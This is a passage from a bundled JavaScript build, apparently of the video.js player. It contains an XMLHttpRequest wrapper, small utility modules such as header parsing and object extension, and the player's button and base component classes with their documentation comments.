  2111. if(xhr.getAllResponseHeaders){ //remember xhr can in fact be XDR for CORS in IE
  2112. response.headers = parseHeaders(xhr.getAllResponseHeaders())
  2113. }
  2114. } else {
  2115. err = new Error("Internal XMLHttpRequest Error")
  2116. }
  2117. callback(err, response, response.body)
  2118. }
  2119. var xhr = options.xhr || null
  2120. if (!xhr) {
  2121. if (options.cors || options.useXDR) {
  2122. xhr = new createXHR.XDomainRequest()
  2123. }else{
  2124. xhr = new createXHR.XMLHttpRequest()
  2125. }
  2126. }
  2127. var key
  2128. var aborted
  2129. var uri = xhr.url = options.uri || options.url
  2130. var method = xhr.method = options.method || "GET"
  2131. var body = options.body || options.data || null
  2132. var headers = xhr.headers = options.headers || {}
  2133. var sync = !!options.sync
  2134. var isJson = false
  2135. var timeoutTimer
  2136. if ("json" in options) {
  2137. console.log(body);
  2138. isJson = true
  2139. headers["accept"] || headers["Accept"] || (headers["Accept"] = "application/json") //Don't override existing accept header declared by user
  2140. if (method !== "GET" && method !== "HEAD") {
  2141. headers["content-type"] || headers["Content-Type"] || (headers["Content-Type"] = "application/json") //Don't override existing accept header declared by user
  2142. body = JSON.stringify(options.json)
  2143. }
  2144. }
  2145. xhr.onreadystatechange = readystatechange
  2146. xhr.onload = loadFunc
  2147. xhr.onerror = errorFunc
  2148. // IE9 must have onprogress be set to a unique function.
  2149. xhr.onprogress = function () {
  2150. // IE must die
  2151. }
  2152. xhr.ontimeout = errorFunc
  2153. xhr.open(method, uri, !sync, options.username, options.password)
  2154. //has to be after open
  2155. if(!sync) {
  2156. xhr.withCredentials = !!options.withCredentials
  2157. }
  2158. // Cannot set timeout with sync request
  2159. // not setting timeout on the xhr object, because of old webkits etc. not handling that correctly
  2160. // both npm's request and jquery 1.x use this kind of timeout, so this is being consistent
  2161. if (!sync && options.timeout > 0 ) {
  2162. timeoutTimer = setTimeout(function(){
  2163. aborted=true//IE9 may still call readystatechange
  2164. xhr.abort("timeout")
  2165. var e = new Error("XMLHttpRequest timeout")
  2166. e.code = "ETIMEDOUT"
  2167. errorFunc(e)
  2168. }, options.timeout )
  2169. }
  2170. if (xhr.setRequestHeader) {
  2171. for(key in headers){
  2172. if(headers.hasOwnProperty(key)){
  2173. xhr.setRequestHeader(key, headers[key])
  2174. }
  2175. }
  2176. } else if (options.headers && !isEmpty(options.headers)) {
  2177. throw new Error("Headers cannot be set on an XDomainRequest object")
  2178. }
  2179. if ("responseType" in options) {
  2180. xhr.responseType = options.responseType
  2181. }
  2182. if ("beforeSend" in options &&
  2183. typeof options.beforeSend === "function"
  2184. ) {
  2185. options.beforeSend(xhr)
  2186. }
  2187. xhr.send(body)
  2188. return xhr
  2189. }
  2190. function noop() {}
  2191. },{"global/window":2,"is-function":57,"once":58,"parse-headers":61,"xtend":62}],57:[function(_dereq_,module,exports){
  2192. module.exports = isFunction
  2193. var toString = Object.prototype.toString
  2194. function isFunction (fn) {
  2195. var string = toString.call(fn)
  2196. return string === '[object Function]' ||
  2197. (typeof fn === 'function' && string !== '[object RegExp]') ||
  2198. (typeof window !== 'undefined' &&
  2199. // IE8 and below
  2200. (fn === window.setTimeout ||
  2201. fn === window.alert ||
  2202. fn === window.confirm ||
  2203. fn === window.prompt))
  2204. };
  2205. },{}],58:[function(_dereq_,module,exports){
  2206. module.exports = once
  2207. once.proto = once(function () {
  2208. Object.defineProperty(Function.prototype, 'once', {
  2209. value: function () {
  2210. return once(this)
  2211. },
  2212. configurable: true
  2213. })
  2214. })
  2215. function once (fn) {
  2216. var called = false
  2217. return function () {
  2218. if (called) return
  2219. called = true
  2220. return fn.apply(this, arguments)
  2221. }
  2222. }
  2223. },{}],59:[function(_dereq_,module,exports){
  2224. var isFunction = _dereq_('is-function')
  2225. module.exports = forEach
  2226. var toString = Object.prototype.toString
  2227. var hasOwnProperty = Object.prototype.hasOwnProperty
  2228. function forEach(list, iterator, context) {
  2229. if (!isFunction(iterator)) {
  2230. throw new TypeError('iterator must be a function')
  2231. }
  2232. if (arguments.length < 3) {
  2233. context = this
  2234. }
  2235. if (toString.call(list) === '[object Array]')
  2236. forEachArray(list, iterator, context)
  2237. else if (typeof list === 'string')
  2238. forEachString(list, iterator, context)
  2239. else
  2240. forEachObject(list, iterator, context)
  2241. }
  2242. function forEachArray(array, iterator, context) {
  2243. for (var i = 0, len = array.length; i < len; i++) {
  2244. if (hasOwnProperty.call(array, i)) {
  2245. iterator.call(context, array[i], i, array)
  2246. }
  2247. }
  2248. }
  2249. function forEachString(string, iterator, context) {
  2250. for (var i = 0, len = string.length; i < len; i++) {
  2251. // no such thing as a sparse string.
  2252. iterator.call(context, string.charAt(i), i, string)
  2253. }
  2254. }
  2255. function forEachObject(object, iterator, context) {
  2256. for (var k in object) {
  2257. if (hasOwnProperty.call(object, k)) {
  2258. iterator.call(context, object[k], k, object)
  2259. }
  2260. }
  2261. }
  2262. },{"is-function":57}],60:[function(_dereq_,module,exports){
  2263. exports = module.exports = trim;
  2264. function trim(str){
  2265. return str.replace(/^\s*|\s*$/g, '');
  2266. }
  2267. exports.left = function(str){
  2268. return str.replace(/^\s*/, '');
  2269. };
  2270. exports.right = function(str){
  2271. return str.replace(/\s*$/, '');
  2272. };
  2273. },{}],61:[function(_dereq_,module,exports){
  2274. var trim = _dereq_('trim')
  2275. , forEach = _dereq_('for-each')
  2276. , isArray = function(arg) {
  2277. return Object.prototype.toString.call(arg) === '[object Array]';
  2278. }
  2279. module.exports = function (headers) {
  2280. if (!headers)
  2281. return {}
  2282. var result = {}
  2283. forEach(
  2284. trim(headers).split('\n')
  2285. , function (row) {
  2286. var index = row.indexOf(':')
  2287. , key = trim(row.slice(0, index)).toLowerCase()
  2288. , value = trim(row.slice(index + 1))
  2289. if (typeof(result[key]) === 'undefined') {
  2290. result[key] = value
  2291. } else if (isArray(result[key])) {
  2292. result[key].push(value)
  2293. } else {
  2294. result[key] = [ result[key], value ]
  2295. }
  2296. }
  2297. )
  2298. return result
  2299. }
  2300. },{"for-each":59,"trim":60}],62:[function(_dereq_,module,exports){
  2301. module.exports = extend
  2302. var hasOwnProperty = Object.prototype.hasOwnProperty;
  2303. function extend() {
  2304. var target = {}
  2305. for (var i = 0; i < arguments.length; i++) {
  2306. var source = arguments[i]
  2307. for (var key in source) {
  2308. if (hasOwnProperty.call(source, key)) {
  2309. target[key] = source[key]
  2310. }
  2311. }
  2312. }
  2313. return target
  2314. }
  2315. },{}],63:[function(_dereq_,module,exports){
  2316. /**
  2317. * @file big-play-button.js
  2318. */
  2319. 'use strict';
  2320. exports.__esModule = true;
  2321. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  2322. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  2323. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  2324. var _buttonJs = _dereq_('./button.js');
  2325. var _buttonJs2 = _interopRequireDefault(_buttonJs);
  2326. var _componentJs = _dereq_('./component.js');
  2327. var _componentJs2 = _interopRequireDefault(_componentJs);
  2328. /**
  2329. * Initial play button. Shows before the video has played. The hiding of the
  2330. * big play button is done via CSS and player states.
  2331. *
  2332. * @param {Object} player Main Player
  2333. * @param {Object=} options Object of option names and values
  2334. * @extends Button
  2335. * @class BigPlayButton
  2336. */
  2337. var BigPlayButton = (function (_Button) {
  2338. _inherits(BigPlayButton, _Button);
  2339. function BigPlayButton(player, options) {
  2340. _classCallCheck(this, BigPlayButton);
  2341. _Button.call(this, player, options);
  2342. }
  2343. /**
  2344. * Allow sub components to stack CSS class names
  2345. *
  2346. * @return {String} The constructed class name
  2347. * @method buildCSSClass
  2348. */
  2349. BigPlayButton.prototype.buildCSSClass = function buildCSSClass() {
  2350. return 'vjs-big-play-button';
  2351. };
  2352. /**
  2353. * Handles click for play
  2354. *
  2355. * @method handleClick
  2356. */
  2357. BigPlayButton.prototype.handleClick = function handleClick() {
  2358. this.player_.play();
  2359. };
  2360. return BigPlayButton;
  2361. })(_buttonJs2['default']);
  2362. BigPlayButton.prototype.controlText_ = 'Play Video';
  2363. _componentJs2['default'].registerComponent('BigPlayButton', BigPlayButton);
  2364. exports['default'] = BigPlayButton;
  2365. module.exports = exports['default'];
  2366. },{"./button.js":64,"./component.js":67}],64:[function(_dereq_,module,exports){
  2367. /**
  2368. * @file button.js
  2369. */
  2370. 'use strict';
  2371. exports.__esModule = true;
  2372. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  2373. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  2374. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  2375. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  2376. var _clickableComponentJs = _dereq_('./clickable-component.js');
  2377. var _clickableComponentJs2 = _interopRequireDefault(_clickableComponentJs);
  2378. var _component = _dereq_('./component');
  2379. var _component2 = _interopRequireDefault(_component);
  2380. var _utilsEventsJs = _dereq_('./utils/events.js');
  2381. var Events = _interopRequireWildcard(_utilsEventsJs);
  2382. var _utilsFnJs = _dereq_('./utils/fn.js');
  2383. var Fn = _interopRequireWildcard(_utilsFnJs);
  2384. var _utilsLogJs = _dereq_('./utils/log.js');
  2385. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  2386. var _globalDocument = _dereq_('global/document');
  2387. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  2388. var _objectAssign = _dereq_('object.assign');
  2389. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  2390. /**
  2391. * Base class for all buttons
  2392. *
  2393. * @param {Object} player Main Player
  2394. * @param {Object=} options Object of option names and values
  2395. * @extends ClickableComponent
  2396. * @class Button
  2397. */
  2398. var Button = (function (_ClickableComponent) {
  2399. _inherits(Button, _ClickableComponent);
  2400. function Button(player, options) {
  2401. _classCallCheck(this, Button);
  2402. _ClickableComponent.call(this, player, options);
  2403. }
  2404. /**
  2405. * Create the component's DOM element
  2406. *
  2407. * @param {String=} type Element's node type. e.g. 'div'
  2408. * @param {Object=} props An object of properties that should be set on the element
  2409. * @param {Object=} attributes An object of attributes that should be set on the element
  2410. * @return {Element}
  2411. * @method createEl
  2412. */
  2413. Button.prototype.createEl = function createEl() {
  2414. var tag = arguments.length <= 0 || arguments[0] === undefined ? 'button' : arguments[0];
  2415. var props = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  2416. var attributes = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
  2417. props = _objectAssign2['default']({
  2418. className: this.buildCSSClass()
  2419. }, props);
  2420. if (tag !== 'button') {
  2421. _utilsLogJs2['default'].warn('Creating a Button with an HTML element of ' + tag + ' is deprecated; use ClickableComponent instead.');
  2422. // Add properties for clickable element which is not a native HTML button
  2423. props = _objectAssign2['default']({
  2424. tabIndex: 0
  2425. }, props);
  2426. // Add ARIA attributes for clickable element which is not a native HTML button
  2427. attributes = _objectAssign2['default']({
  2428. role: 'button'
  2429. }, attributes);
  2430. }
  2431. // Add attributes for button element
  2432. attributes = _objectAssign2['default']({
  2433. type: 'button', // Necessary since the default button type is "submit"
  2434. 'aria-live': 'polite' // let the screen reader user know that the text of the button may change
  2435. }, attributes);
  2436. var el = _component2['default'].prototype.createEl.call(this, tag, props, attributes);
  2437. this.createControlTextEl(el);
  2438. return el;
  2439. };
  2440. /**
  2441. * Adds a child component inside this button
  2442. *
  2443. * @param {String|Component} child The class name or instance of a child to add
  2444. * @param {Object=} options Options, including options to be passed to children of the child.
  2445. * @return {Component} The child component (created by this process if a string was used)
  2446. * @deprecated
  2447. * @method addChild
  2448. */
  2449. Button.prototype.addChild = function addChild(child) {
  2450. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  2451. var className = this.constructor.name;
  2452. _utilsLogJs2['default'].warn('Adding an actionable (user controllable) child to a Button (' + className + ') is not supported; use a ClickableComponent instead.');
  2453. // Avoid the error message generated by ClickableComponent's addChild method
  2454. return _component2['default'].prototype.addChild.call(this, child, options);
  2455. };
  2456. /**
  2457. * Handle KeyPress (document level) - Extend with specific functionality for button
  2458. *
  2459. * @method handleKeyPress
  2460. */
  2461. Button.prototype.handleKeyPress = function handleKeyPress(event) {
  2462. // Ignore Space (32) or Enter (13) key operation, which is handled by the browser for a button.
  2463. if (event.which === 32 || event.which === 13) {} else {
  2464. _ClickableComponent.prototype.handleKeyPress.call(this, event); // Pass keypress handling up for unsupported keys
  2465. }
  2466. };
  2467. return Button;
  2468. })(_clickableComponentJs2['default']);
  2469. _component2['default'].registerComponent('Button', Button);
  2470. exports['default'] = Button;
  2471. module.exports = exports['default'];
  2472. },{"./clickable-component.js":65,"./component":67,"./utils/events.js":143,"./utils/fn.js":144,"./utils/log.js":147,"global/document":1,"object.assign":45}],65:[function(_dereq_,module,exports){
  2473. /**
  2474. * @file button.js
  2475. */
  2476. 'use strict';
  2477. exports.__esModule = true;
  2478. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  2479. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  2480. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  2481. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  2482. var _component = _dereq_('./component');
  2483. var _component2 = _interopRequireDefault(_component);
  2484. var _utilsDomJs = _dereq_('./utils/dom.js');
  2485. var Dom = _interopRequireWildcard(_utilsDomJs);
  2486. var _utilsEventsJs = _dereq_('./utils/events.js');
  2487. var Events = _interopRequireWildcard(_utilsEventsJs);
  2488. var _utilsFnJs = _dereq_('./utils/fn.js');
  2489. var Fn = _interopRequireWildcard(_utilsFnJs);
  2490. var _utilsLogJs = _dereq_('./utils/log.js');
  2491. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  2492. var _globalDocument = _dereq_('global/document');
  2493. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  2494. var _objectAssign = _dereq_('object.assign');
  2495. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  2496. /**
  2497. * Clickable Component which is clickable or keyboard actionable, but is not a native HTML button
  2498. *
  2499. * @param {Object} player Main Player
  2500. * @param {Object=} options Object of option names and values
  2501. * @extends Component
  2502. * @class ClickableComponent
  2503. */
  2504. var ClickableComponent = (function (_Component) {
  2505. _inherits(ClickableComponent, _Component);
  2506. function ClickableComponent(player, options) {
  2507. _classCallCheck(this, ClickableComponent);
  2508. _Component.call(this, player, options);
  2509. this.emitTapEvents();
  2510. this.on('tap', this.handleClick);
  2511. this.on('click', this.handleClick);
  2512. this.on('focus', this.handleFocus);
  2513. this.on('blur', this.handleBlur);
  2514. }
  2515. /**
  2516. * Create the component's DOM element
  2517. *
  2518. * @param {String=} type Element's node type. e.g. 'div'
  2519. * @param {Object=} props An object of properties that should be set on the element
  2520. * @param {Object=} attributes An object of attributes that should be set on the element
  2521. * @return {Element}
  2522. * @method createEl
  2523. */
  2524. ClickableComponent.prototype.createEl = function createEl() {
  2525. var tag = arguments.length <= 0 || arguments[0] === undefined ? 'div' : arguments[0];
  2526. var props = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  2527. var attributes = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
  2528. props = _objectAssign2['default']({
  2529. className: this.buildCSSClass(),
  2530. tabIndex: 0
  2531. }, props);
  2532. if (tag === 'button') {
  2533. _utilsLogJs2['default'].error('Creating a ClickableComponent with an HTML element of ' + tag + ' is not supported; use a Button instead.');
  2534. }
  2535. // Add ARIA attributes for clickable element which is not a native HTML button
  2536. attributes = _objectAssign2['default']({
  2537. role: 'button',
  2538. 'aria-live': 'polite' // let the screen reader user know that the text of the element may change
  2539. }, attributes);
  2540. var el = _Component.prototype.createEl.call(this, tag, props, attributes);
  2541. this.createControlTextEl(el);
  2542. return el;
  2543. };
  2544. /**
  2545. * create control text
  2546. *
  2547. * @param {Element} el Parent element for the control text
  2548. * @return {Element}
  2549. * @method controlText
  2550. */
  2551. ClickableComponent.prototype.createControlTextEl = function createControlTextEl(el) {
  2552. this.controlTextEl_ = Dom.createEl('span', {
  2553. className: 'vjs-control-text'
  2554. });
  2555. if (el) {
  2556. el.appendChild(this.controlTextEl_);
  2557. }
  2558. this.controlText(this.controlText_, el);
  2559. return this.controlTextEl_;
  2560. };
  2561. /**
  2562. * Controls text - both request and localize
  2563. *
  2564. * @param {String} text Text for element
  2565. * @param {Element=} el Element to set the title on
  2566. * @return {String}
  2567. * @method controlText
  2568. */
  2569. ClickableComponent.prototype.controlText = function controlText(text) {
  2570. var el = arguments.length <= 1 || arguments[1] === undefined ? this.el() : arguments[1];
  2571. if (!text) return this.controlText_ || 'Need Text';
  2572. var localizedText = this.localize(text);
  2573. this.controlText_ = text;
  2574. this.controlTextEl_.innerHTML = localizedText;
  2575. el.setAttribute('title', localizedText);
  2576. return this;
  2577. };
  2578. /**
  2579. * Allows sub components to stack CSS class names
  2580. *
  2581. * @return {String}
  2582. * @method buildCSSClass
  2583. */
  2584. ClickableComponent.prototype.buildCSSClass = function buildCSSClass() {
  2585. return 'vjs-control vjs-button ' + _Component.prototype.buildCSSClass.call(this);
  2586. };
  2587. /**
  2588. * Adds a child component inside this clickable-component
  2589. *
  2590. * @param {String|Component} child The class name or instance of a child to add
  2591. * @param {Object=} options Options, including options to be passed to children of the child.
  2592. * @return {Component} The child component (created by this process if a string was used)
  2593. * @method addChild
  2594. */
  2595. ClickableComponent.prototype.addChild = function addChild(child) {
  2596. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  2597. // TODO: Fix adding an actionable child to a ClickableComponent; currently
  2598. // it will cause issues with assistive technology (e.g. screen readers)
  2599. // which support ARIA, since an element with role="button" cannot have
  2600. // actionable child elements.
  2601. //let className = this.constructor.name;
  2602. //log.warn(`Adding a child to a ClickableComponent (${className}) can cause issues with assistive technology which supports ARIA, since an element with role="button" cannot have actionable child elements.`);
  2603. return _Component.prototype.addChild.call(this, child, options);
  2604. };
  2605. /**
  2606. * Enable the component element
  2607. *
  2608. * @return {Component}
  2609. * @method enable
  2610. */
  2611. ClickableComponent.prototype.enable = function enable() {
  2612. this.removeClass('vjs-disabled');
  2613. this.el_.setAttribute('aria-disabled', 'false');
  2614. return this;
  2615. };
  2616. /**
  2617. * Disable the component element
  2618. *
  2619. * @return {Component}
  2620. * @method disable
  2621. */
  2622. ClickableComponent.prototype.disable = function disable() {
  2623. this.addClass('vjs-disabled');
  2624. this.el_.setAttribute('aria-disabled', 'true');
  2625. return this;
  2626. };
  2627. /**
  2628. * Handle Click - Override with specific functionality for component
  2629. *
  2630. * @method handleClick
  2631. */
  2632. ClickableComponent.prototype.handleClick = function handleClick() {};
  2633. /**
  2634. * Handle Focus - Add keyboard functionality to element
  2635. *
  2636. * @method handleFocus
  2637. */
  2638. ClickableComponent.prototype.handleFocus = function handleFocus() {
  2639. Events.on(_globalDocument2['default'], 'keydown', Fn.bind(this, this.handleKeyPress));
  2640. };
  2641. /**
  2642. * Handle KeyPress (document level) - Trigger click when Space or Enter key is pressed
  2643. *
  2644. * @method handleKeyPress
  2645. */
  2646. ClickableComponent.prototype.handleKeyPress = function handleKeyPress(event) {
  2647. // Support Space (32) or Enter (13) key operation to fire a click event
  2648. if (event.which === 32 || event.which === 13) {
  2649. event.preventDefault();
  2650. this.handleClick(event);
  2651. } else if (_Component.prototype.handleKeyPress) {
  2652. _Component.prototype.handleKeyPress.call(this, event); // Pass keypress handling up for unsupported keys
  2653. }
  2654. };
  2655. /**
  2656. * Handle Blur - Remove keyboard triggers
  2657. *
  2658. * @method handleBlur
  2659. */
  2660. ClickableComponent.prototype.handleBlur = function handleBlur() {
  2661. Events.off(_globalDocument2['default'], 'keydown', Fn.bind(this, this.handleKeyPress));
  2662. };
  2663. return ClickableComponent;
  2664. })(_component2['default']);
  2665. _component2['default'].registerComponent('ClickableComponent', ClickableComponent);
  2666. exports['default'] = ClickableComponent;
  2667. module.exports = exports['default'];
  2668. },{"./component":67,"./utils/dom.js":142,"./utils/events.js":143,"./utils/fn.js":144,"./utils/log.js":147,"global/document":1,"object.assign":45}],66:[function(_dereq_,module,exports){
  2669. 'use strict';
  2670. exports.__esModule = true;
  2671. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  2672. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  2673. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  2674. var _button = _dereq_('./button');
  2675. var _button2 = _interopRequireDefault(_button);
  2676. var _component = _dereq_('./component');
  2677. var _component2 = _interopRequireDefault(_component);
  2678. /**
  2679. * The `CloseButton` component is a button which fires a "close" event
  2680. * when it is activated.
  2681. *
  2682. * @extends Button
  2683. * @class CloseButton
  2684. */
  2685. var CloseButton = (function (_Button) {
  2686. _inherits(CloseButton, _Button);
  2687. function CloseButton(player, options) {
  2688. _classCallCheck(this, CloseButton);
  2689. _Button.call(this, player, options);
  2690. this.controlText(options && options.controlText || this.localize('Close'));
  2691. }
  2692. CloseButton.prototype.buildCSSClass = function buildCSSClass() {
  2693. return 'vjs-close-button ' + _Button.prototype.buildCSSClass.call(this);
  2694. };
  2695. CloseButton.prototype.handleClick = function handleClick() {
  2696. this.trigger({ type: 'close', bubbles: false });
  2697. };
  2698. return CloseButton;
  2699. })(_button2['default']);
  2700. _component2['default'].registerComponent('CloseButton', CloseButton);
  2701. exports['default'] = CloseButton;
  2702. module.exports = exports['default'];
  2703. },{"./button":64,"./component":67}],67:[function(_dereq_,module,exports){
  2704. /**
  2705. * @file component.js
  2706. *
  2707. * Player Component - Base class for all UI objects
  2708. */
  2709. 'use strict';
  2710. exports.__esModule = true;
  2711. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  2712. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  2713. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  2714. var _globalWindow = _dereq_('global/window');
  2715. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  2716. var _utilsDomJs = _dereq_('./utils/dom.js');
  2717. var Dom = _interopRequireWildcard(_utilsDomJs);
  2718. var _utilsFnJs = _dereq_('./utils/fn.js');
  2719. var Fn = _interopRequireWildcard(_utilsFnJs);
  2720. var _utilsGuidJs = _dereq_('./utils/guid.js');
  2721. var Guid = _interopRequireWildcard(_utilsGuidJs);
  2722. var _utilsEventsJs = _dereq_('./utils/events.js');
  2723. var Events = _interopRequireWildcard(_utilsEventsJs);
  2724. var _utilsLogJs = _dereq_('./utils/log.js');
  2725. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  2726. var _utilsToTitleCaseJs = _dereq_('./utils/to-title-case.js');
  2727. var _utilsToTitleCaseJs2 = _interopRequireDefault(_utilsToTitleCaseJs);
  2728. var _utilsMergeOptionsJs = _dereq_('./utils/merge-options.js');
  2729. var _utilsMergeOptionsJs2 = _interopRequireDefault(_utilsMergeOptionsJs);
  2730. /**
  2731. * Base UI Component class
  2732. * Components are embeddable UI objects that are represented by both a
  2733. * javascript object and an element in the DOM. They can be children of other
  2734. * components, and can have many children themselves.
  2735. * ```js
  2736. * // adding a button to the player
  2737. * var button = player.addChild('button');
  2738. * button.el(); // -> button element
  2739. * ```
  2740. * ```html
  2741. * <div class="video-js">
  2742. * <div class="vjs-button">Button</div>
  2743. * </div>
  2744. * ```
  2745. * Components are also event targets.
  2746. * ```js
  2747. * button.on('click', function(){
  2748. * console.log('Button Clicked!');
  2749. * });
  2750. * button.trigger('customevent');
  2751. * ```
  2752. *
  2753. * @param {Object} player Main Player
  2754. * @param {Object=} options Object of option names and values
  2755. * @param {Function=} ready Ready callback function
  2756. * @class Component
  2757. */
  2758. var Component = (function () {
  2759. function Component(player, options, ready) {
  2760. _classCallCheck(this, Component);
  2761. // The component might be the player itself and we can't pass `this` to super
  2762. if (!player && this.play) {
  2763. this.player_ = player = this; // eslint-disable-line
  2764. } else {
  2765. this.player_ = player;
  2766. }
  2767. // Make a copy of prototype.options_ to protect against overriding defaults
  2768. this.options_ = _utilsMergeOptionsJs2['default']({}, this.options_);
  2769. // Updated options with supplied options
  2770. options = this.options_ = _utilsMergeOptionsJs2['default'](this.options_, options);
  2771. // Get ID from options or options element if one is supplied
  2772. this.id_ = options.id || options.el && options.el.id;
  2773. // If there was no ID from the options, generate one
  2774. if (!this.id_) {
  2775. // Don't require the player ID function in the case of mock players
  2776. var id = player && player.id && player.id() || 'no_player';
  2777. this.id_ = id + '_component_' + Guid.newGUID();
  2778. }
  2779. this.name_ = options.name || null;
  2780. // Create element if one wasn't provided in options
  2781. if (options.el) {
  2782. this.el_ = options.el;
  2783. } else if (options.createEl !== false) {
  2784. this.el_ = this.createEl();
  2785. }
  2786. this.children_ = [];
  2787. this.childIndex_ = {};
  2788. this.childNameIndex_ = {};
  2789. // Add any child components in options
  2790. if (options.initChildren !== false) {
  2791. this.initChildren();
  2792. }
  2793. this.ready(ready);
  2794. // Don't want to trigger ready here or it will before init is actually
  2795. // finished for all children that run this constructor
  2796. if (options.reportTouchActivity !== false) {
  2797. this.enableTouchActivity();
  2798. }
  2799. }
  2800. /**
  2801. * Dispose of the component and all child components
  2802. *
  2803. * @method dispose
  2804. */
  2805. Component.prototype.dispose = function dispose() {
  2806. this.trigger({ type: 'dispose', bubbles: false });
  2807. // Dispose all children.
  2808. if (this.children_) {
  2809. for (var i = this.children_.length - 1; i >= 0; i--) {
  2810. if (this.children_[i].dispose) {
  2811. this.children_[i].dispose();
  2812. }
  2813. }
  2814. }
  2815. // Delete child references
  2816. this.children_ = null;
  2817. this.childIndex_ = null;
  2818. this.childNameIndex_ = null;
  2819. // Remove all event listeners.
  2820. this.off();
  2821. // Remove element from DOM
  2822. if (this.el_.parentNode) {
  2823. this.el_.parentNode.removeChild(this.el_);
  2824. }
  2825. Dom.removeElData(this.el_);
  2826. this.el_ = null;
  2827. };
  2828. /**
  2829. * Return the component's player
  2830. *
  2831. * @return {Player}
  2832. * @method player
  2833. */
  2834. Component.prototype.player = function player() {
  2835. return this.player_;
  2836. };
  2837. /**
  2838. * Deep merge of options objects
  2839. * Whenever a property is an object on both options objects
  2840. * the two properties will be merged using mergeOptions.
  2841. *
  2842. * ```js
  2843. * Parent.prototype.options_ = {
  2844. * optionSet: {
  2845. * 'childOne': { 'foo': 'bar', 'asdf': 'fdsa' },
  2846. * 'childTwo': {},
  2847. * 'childThree': {}
  2848. * }
  2849. * }
  2850. * newOptions = {
  2851. * optionSet: {
  2852. * 'childOne': { 'foo': 'baz', 'abc': '123' }
  2853. * 'childTwo': null,
  2854. * 'childFour': {}
  2855. * }
  2856. * }
  2857. *
  2858. * this.options(newOptions);
  2859. * ```
  2860. * RESULT
  2861. * ```js
  2862. * {
  2863. * optionSet: {
  2864. * 'childOne': { 'foo': 'baz', 'asdf': 'fdsa', 'abc': '123' },
  2865. * 'childTwo': null, // Disabled. Won't be initialized.
  2866. * 'childThree': {},
  2867. * 'childFour': {}
  2868. * }
  2869. * }
  2870. * ```
  2871. *
  2872. * @param {Object} obj Object of new option values
  2873. * @return {Object} A NEW object of this.options_ and obj merged
  2874. * @method options
  2875. */
  2876. Component.prototype.options = function options(obj) {
  2877. _utilsLogJs2['default'].warn('this.options() has been deprecated and will be moved to the constructor in 6.0');
  2878. if (!obj) {
  2879. return this.options_;
  2880. }
  2881. this.options_ = _utilsMergeOptionsJs2['default'](this.options_, obj);
  2882. return this.options_;
  2883. };
  2884. /**
  2885. * Get the component's DOM element
  2886. * ```js
  2887. * var domEl = myComponent.el();
  2888. * ```
  2889. *
  2890. * @return {Element}
  2891. * @method el
  2892. */
  2893. Component.prototype.el = function el() {
  2894. return this.el_;
  2895. };
  2896. /**
  2897. * Create the component's DOM element
